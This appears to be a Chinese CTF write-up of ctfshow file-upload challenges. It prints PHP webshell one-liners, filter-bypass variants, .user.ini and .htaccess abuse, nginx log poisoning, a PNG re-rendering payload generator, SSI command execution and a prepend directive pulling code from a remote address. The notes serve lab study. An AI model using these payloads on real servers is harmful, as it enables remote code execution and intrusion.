目录
所有的文件上传,都需要包含,否则不包含的文件上传无法利用。先考虑如何能解除前端限制。
6、png二次渲染绕过,可以上传一张有DU的图片,直接传参。web164
7、jpg二次渲染绕过,这次需要个美图照片专用的。在ctfshow总结里面。web165
8、上传一个带码的zip文件。文件包含也能用上payload。web166
9、题目提示httpd的情况下,这种情况用.htaccess
11、Apache2 SSI远程命令执行漏洞
1、前端限制
burp抓包,将png改为php
2、利用图片二次渲染。接着上传
利用上传user.ini进行文件上传绕过
解题过程:
上传一个含木马的图片<?php eval($_POST[1]);?> .user.ini的内容:auto_append_file=“xxx”
xxx为我们上传的文件,这样就在每个php文件上包含了我们的木马文件。
3、 文件内容过滤,过滤关键字是php
上传一个图片木马,发现上传不了,经过一系列的尝试发现是对文件内容作了些过滤,过滤了php,所以采用简短的语句进行绕过。<?=eval($_POST[1]);?>
.user.ini的时候,需要加目录。auto append file=/var/www/html/upload/1.png
4、过滤开始。抓包的时候,观察,看过滤了什么。
1、基础上过滤了
[]
那我们直接用{}
来代替<?=eval($_POST{1});?>
那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
<?=system('tac ../f*')?>
2、过滤了括号,那就用反引号就可以啦<?=`tac ../f*`?>
3、考点:过滤了php,执行函数,反引号等web160
解题思路:
日志包含
过滤关键字是log
所以用拼接绕过<?=include"/var/ lo" ."g/nginx/access . lo" ."g"?>
上传完.user.ini
和图片后auto append file=/var/www/html/upload/1.png
访问网站然后修改ua
头信息
5、web161-web163的内容稍等再弄
6、png二次渲染绕过,可以上传一张有DU的图片,直接传参。web164
生成原理:
先打开phpstudy
,然后将上述代码保存为1.php
,连同图片马1.png
<?php eval($_POST[1]);?>
一起放在phpstudy的www目录下,然后浏览器访问http://127.0.0.1/1.php
,然后返回再用winhex打开1.png发现已经完成渲染
博客无法上传图片,在ctfshow总结里面。
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的图片马
?>
7、jpg二次渲染绕过,这次需要个美图照片专用的。在ctfshow总结里面。web165
1、上传图片,2、下载服务器渲染过的图片,3、用脚本生成payload.jpg,4、上传图片,传参1=phpinfo();
8、上传一个带码的zip文件。文件包含也能用上payload。web166
9、题目提示httpd的情况下,这种情况用.htaccess
1、先上传个附件,看允许什么后缀上传,然后再上传.htaccess,然后再进行文件包含。
2、.htaccess的文件内容 AddType application/x-httpd-php .jpg 注意:.jpg是根据前端同意传什么文件,再改什么后缀。
3、直接传不上去。前端先改验证,前端改了不行,抓包再传 。
10、免杀。web167-170
1、上传图片后,在图片末尾直接加入一句话木马。其实也是用的包含。web167
2、上传文件后,更改后缀名,发现不能上传,但是更改文件内容,就可以上传,这时候要试探是过滤了什么内容。web169,是过滤了php和<,这时候考虑是否日志包含,包含日志的话,必须在上传文件夹下面有index文件的存在,才能包含,这时候可以随便上传一个index.php,然后再上传.user.ini文件,再把这个文件包含进来。(如果日志默认不包含,或者user _agent被url编码了的话,可能就会失败)
.user.ini内容
auto_prepend_file=/var/log/nginx/access.log
因为日志内容比较多,这时候需要描点。
木马 <?php eval($_POST[1]);?>
提示:注意日志包含容易被浏览器解析,所以要在burp的相应里面看。
3、另一种情况测试是否能上传.user.ini文件,如果能的话,上传这条指令。然后再上传php文件,
auto_prepend_file=http://2002459365 #数字代表公网地址
11、Apache2 SSI远程命令执行漏洞
上传1.shtml,内容是我们要执行的命令
<!--#exec cmd="ls /" -->